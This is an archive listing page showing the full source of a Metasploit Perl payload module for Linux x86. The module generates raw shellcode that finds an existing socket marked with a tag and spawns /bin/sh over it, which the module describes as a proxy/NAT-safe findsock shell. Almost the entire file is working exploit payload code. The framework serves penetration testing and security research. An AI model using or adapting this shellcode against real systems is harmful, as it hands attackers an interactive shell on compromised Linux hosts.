home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / linux_ia32_findrecv.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.5 KB  |  66 lines
  1. package Msf::Payload::linux_ia32_findrecv;
  2. use strict;
  3. use base 'Msf::PayloadComponent::FindRecvConnection';
  4.  
  5. my $advanced = 
  6. {
  7.   'FindTag' => ['msf!', 'Tag sent and checked for by payload'],
  8. };
  9.  
  10. my $info =
  11. {
  12.     'Name'         => 'Linux IA32 Recv Tag Findsock Shell',
  13.     'Version'      => '$Revision: 1.2 $',
  14.     'Description'  => 'Spawn a shell on the established connection, proxy/nat safe',
  15.     'Authors'      => [ 'skape <mmiller [at] hick.org>', ],
  16.     'Arch'         => [ 'x86' ],
  17.     'Priv'         => 0,
  18.     'OS'           => [ 'linux' ],
  19.     'Size'         => '',
  20. };
  21.  
  22. sub new 
  23. {
  24.     my $class = shift;
  25.     my $hash = @_ ? shift : { };
  26.     $hash = $class->MergeHash($hash, {'Info' => $info, 'Advanced' => $advanced});
  27.     my $self = $class->SUPER::new($hash, @_);
  28.  
  29.     $self->_Info->{'Size'} = $self->_GenSize;
  30.     return($self);
  31. }
  32.  
  33. sub Build 
  34. {
  35.     my $self = shift;
  36.     return($self->Generate);
  37. }
  38.  
  39. sub Generate 
  40. {
  41.     my $self = shift;
  42.  
  43.     # Get tag and make sure its 4 bytes (pad/truncate)
  44.     my $tag = substr($self->GetLocal('FindTag') . ("\x01" x 4), 0, 4);
  45.  
  46.     my $shellcode =
  47.         "\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb" .
  48.         "\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75\xf0" .
  49.         "\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b" .
  50.         "\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" .
  51.         "\x53\x89\xe1\xcd\x80";
  52.  
  53.     substr($shellcode, 0x1a, 4, $tag);
  54.  
  55.     return($shellcode);
  56. }
  57.  
  58. sub _GenSize 
  59. {
  60.     my $self = shift;
  61.     my $bin = $self->Generate;
  62.     return(length($bin));
  63. }
  64.  
  65. 1;
  66.